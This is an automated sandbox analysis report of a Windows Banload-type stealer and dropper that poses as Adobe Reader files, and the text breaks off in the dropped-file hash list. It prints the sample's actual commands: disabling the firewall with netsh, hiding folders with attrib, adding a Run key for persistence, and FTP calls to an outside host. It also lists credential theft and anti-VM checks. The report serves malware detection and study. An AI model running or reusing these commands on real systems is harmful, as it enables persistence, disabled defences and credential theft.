Malware Analysis Report

2024-10-16 03:30

Sample ID 240912-p3h58awapq
Target f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19
SHA256 f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19
Tags
banload collection credential_access discovery downloader dropper evasion persistence privilege_escalation spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19

Threat Level: Known bad

The file f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19 was found to be: Known bad.

Malicious Activity Summary

banload collection credential_access discovery downloader dropper evasion persistence privilege_escalation spyware stealer trojan

Banload

Credentials from Password Stores: Credentials from Web Browsers

Identifies VirtualBox via ACPI registry values (likely anti-VM)

Sets file to hidden

Modifies Windows Firewall

Reads user/profile data of local email clients

Loads dropped DLL

Executes dropped EXE

Reads local data of messenger clients

Checks computer location settings

Checks BIOS information in registry

Reads user/profile data of web browsers

Adds Run key to start application

Accesses Microsoft Outlook accounts

Enumerates physical storage devices

Event Triggered Execution: Netsh Helper DLL

System Location Discovery: System Language Discovery

Unsigned PE

Suspicious use of AdjustPrivilegeToken

Modifies registry class

Suspicious use of FindShellTrayWindow

Gathers network information

Views/modifies file attributes

Suspicious use of WriteProcessMemory

Enumerates system info in registry

NTFS ADS

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-09-12 12:51

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-09-12 12:51

Reported

2024-09-12 12:53

Platform

win7-20240903-en

Max time kernel

122s

Max time network

127s

Command Line

"C:\Users\Admin\AppData\Local\Temp\f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19.exe"

Signatures

Banload

trojan dropper downloader banload

Credentials from Password Stores: Credentials from Web Browsers

credential_access stealer

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr02.exe N/A

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A

Sets file to hidden

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr02.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr02.exe N/A

Reads local data of messenger clients

spyware stealer

Reads user/profile data of local email clients

spyware stealer

Reads user/profile data of web browsers

spyware stealer

Accesses Microsoft Outlook accounts

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr02.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Windows\CurrentVersion\Run\AdobeA = "C:\\Users\\Admin\\AppData\\Roaming\\Adobe\\Adobe Inc\\AdobeRead\\acro4.bat" C:\Windows\SysWOW64\reg.exe N/A

Enumerates physical storage devices

Event Triggered Execution: Netsh Helper DLL

persistence privilege_escalation
Description Indicator Process Target
Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\attrib.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\DllHost.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\attrib.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\AReader.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\ipconfig.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\Adobeta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr02.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\attrib.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\attrib.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WScript.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\xcopy.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WScript.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\Adobeta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr02.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\attrib.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier C:\Windows\SysWOW64\xcopy.exe N/A

Gathers network information

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\ipconfig.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187} C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187}\AutoConvertTo\ = "{00020906-0000-0000-C000-000000000046}" C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187}\TreatAs\ = "{00020906-0000-0000-C000-000000000046}" C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187}\PersistentHandler\ = "{98de59a0-d175-11cd-a7bd-00006b827d94}" C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187}\ProgID\ = "Word.Document.6" C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187}\RTFClassName\MSWord6 C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187}\DefaultIcon C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187}\NotInsertable C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187}\PersistentHandler C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187}\ProgID C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187}\RTFClassName C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187}\TreatAs C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187}\ = "Microsoft Word 6.0 - 7.0 Document" C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187}\AutoConvertTo C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187}\DefaultIcon\ = "C:\\PROGRA~2\\MICROS~1\\Office14\\WINWORD.EXE,1" C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187}\Insertable C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A

NTFS ADS

Description Indicator Process Target
File created C:\ProgramData\TEMP:663565B1 C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
File opened for modification C:\ProgramData\TEMP:663565B1 C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
File opened for modification C:\ProgramData\TEMP:663565B1 C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr02.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\DllHost.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2724 wrote to memory of 2180 N/A C:\Users\Admin\AppData\Local\Temp\f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19.exe C:\Windows\SysWOW64\WScript.exe
PID 2724 wrote to memory of 2180 N/A C:\Users\Admin\AppData\Local\Temp\f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19.exe C:\Windows\SysWOW64\WScript.exe
PID 2724 wrote to memory of 2180 N/A C:\Users\Admin\AppData\Local\Temp\f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19.exe C:\Windows\SysWOW64\WScript.exe
PID 2724 wrote to memory of 2180 N/A C:\Users\Admin\AppData\Local\Temp\f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19.exe C:\Windows\SysWOW64\WScript.exe
PID 2724 wrote to memory of 2180 N/A C:\Users\Admin\AppData\Local\Temp\f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19.exe C:\Windows\SysWOW64\WScript.exe
PID 2724 wrote to memory of 2180 N/A C:\Users\Admin\AppData\Local\Temp\f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19.exe C:\Windows\SysWOW64\WScript.exe
PID 2724 wrote to memory of 2180 N/A C:\Users\Admin\AppData\Local\Temp\f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19.exe C:\Windows\SysWOW64\WScript.exe
PID 2180 wrote to memory of 2520 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2180 wrote to memory of 2520 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2180 wrote to memory of 2520 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2180 wrote to memory of 2520 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2180 wrote to memory of 2520 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2180 wrote to memory of 2520 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2180 wrote to memory of 2520 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2520 wrote to memory of 2912 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 2520 wrote to memory of 2912 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 2520 wrote to memory of 2912 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 2520 wrote to memory of 2912 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 2520 wrote to memory of 2912 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 2520 wrote to memory of 2912 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 2520 wrote to memory of 2912 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 2520 wrote to memory of 608 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 608 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 608 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 608 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 608 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 608 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 608 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 1496 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 1496 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 1496 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 1496 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 1496 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 1496 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 1496 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 2560 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 2560 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 2560 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 2560 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 2560 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 2560 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 2560 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 2784 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 2784 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 2784 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 2784 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 2784 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 2784 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 2784 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 2804 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 2804 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 2804 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 2804 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 2804 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 2804 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 2804 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2520 wrote to memory of 1036 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WScript.exe
PID 2520 wrote to memory of 1036 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WScript.exe
PID 2520 wrote to memory of 1036 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WScript.exe
PID 2520 wrote to memory of 1036 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WScript.exe
PID 2520 wrote to memory of 1036 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WScript.exe
PID 2520 wrote to memory of 1036 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WScript.exe
PID 2520 wrote to memory of 1036 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WScript.exe
PID 1036 wrote to memory of 2144 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19.exe

"C:\Users\Admin\AppData\Local\Temp\f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\Adobedc.vbs"

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\Adob03.bat" /quiet /passive /norestart"

C:\Windows\SysWOW64\DllHost.exe

C:\Windows\SysWOW64\DllHost.exe /Processid:{76D0CB12-7604-4048-B83C-1005C7DDC503}

C:\Windows\SysWOW64\xcopy.exe

xcopy /y /h /e /r /k /c *.* "C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\"

C:\Windows\SysWOW64\attrib.exe

attrib +r +a +s +h "C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead"

C:\Windows\SysWOW64\attrib.exe

attrib +r +a +s +h "C:\Users\Admin\AppData\Roaming\Adobe Reader\AdobeR"

C:\Windows\SysWOW64\attrib.exe

attrib +r +a +s +h "C:\Users\Admin\AppData\Roaming\Adobe Reader\ADBR\READER"

C:\Windows\SysWOW64\attrib.exe

attrib +r +a +s +h "C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER"

C:\Windows\SysWOW64\attrib.exe

attrib +r +a +s +h "C:\Users\Admin\AppData\Roaming\AdobeR"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\Adob9.vbs"

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\rea01.bat" /quiet /passive /norestart"

C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\Adobeta.exe

Adobeta.exe -a -c -d -natpasv -s:01.klm ftp.freehostia.com -s

C:\Windows\SysWOW64\reg.exe

REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "AdobeA" /t REG_SZ /F /D "C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\acro4.bat"

C:\Windows\SysWOW64\ipconfig.exe

ipconfig /all

C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe

adbr01.exe -f "011.011"

C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe

adbr01.exe -f "011.011"

C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr02.exe

adbr02.exe -f "112.112"

C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr02.exe

adbr02.exe -f "112.112"

C:\Windows\SysWOW64\netsh.exe

netsh firewall set opmode disable

C:\Windows\SysWOW64\netsh.exe

netsh advfirewall set currentprofile state off

C:\Windows\SysWOW64\netsh.exe

netsh advfirewall set profiles state off

C:\Windows\SysWOW64\netsh.exe

NetSh Advfirewall set allprofiles state off

C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\Adobeta.exe

Adobeta.exe -a -c -d -natpasv -s:004.afq ftp.freehostia.com

C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\AReader.exe

AReader 5400

Network

Country Destination Domain Proto
US 8.8.8.8:53 ftp.freehostia.com udp
US 198.23.57.8:21 ftp.freehostia.com tcp

Files

C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\Adobedc.vbs

MD5 ce8041824149d8266dbb0ad9688224d7
SHA1 3ab653c43ce66681ceaab90193e1a4c95d998090
SHA256 0a697bf8507b3f517afe7d67ed0f12f1a8d0edbb72252d75cc7677d6e2e638c5
SHA512 e1a205a1665fe5beb3c53cdcff4eb9c66a4773d730215ff87a179f3c825d342f8f7e8b5e65e45e6a1f13dfe7f58a09f5a920ce9416fe231d74ad1d99e60bd21d

C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\Adob03.bat

MD5 97410477dc9501dffca4ea4b1ae57273
SHA1 fb573b3bf4eba734b0f32db1a5b7ff78de36b064
SHA256 3836545f759c1ff93892ea0ef81424c8acdef7dc9440e8404bc04662fe7e6f2c
SHA512 3d22d0bf5375f3cedc7f6bdc0b2fac8de834a1b80567a2395046c5aada74d87e8338fbd0f787b14dbe3f5914c9a751597f1332d89d19f6d96de195ef334cc915

memory/2612-74-0x00000000000A0000-0x00000000000A2000-memory.dmp

memory/2520-73-0x00000000003B0000-0x00000000003B2000-memory.dmp

C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\004.afq

MD5 3599c797ad0bf899791bfa24413c3ab6
SHA1 215a520638bb3f1336f268d1acc1170bf2ce0768
SHA256 0a9963eefd15805efaef32bf961b354fc255a5a23b4d466aa8e94df53a3c3e8c
SHA512 add003202c97629f2d87d4b7f1876d79dc1ae35cfc85fc55e578adbc3cc009e41ca42c66f33521acb5d8a651fe31d69de5699af1df82ada8227bbeeddbe8d5d1

C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\acro4.bat

MD5 89412aba215b6cd18b8a64c4485fa03f
SHA1 37089346499f54a7d89262a67d95c8764ab3ca1f
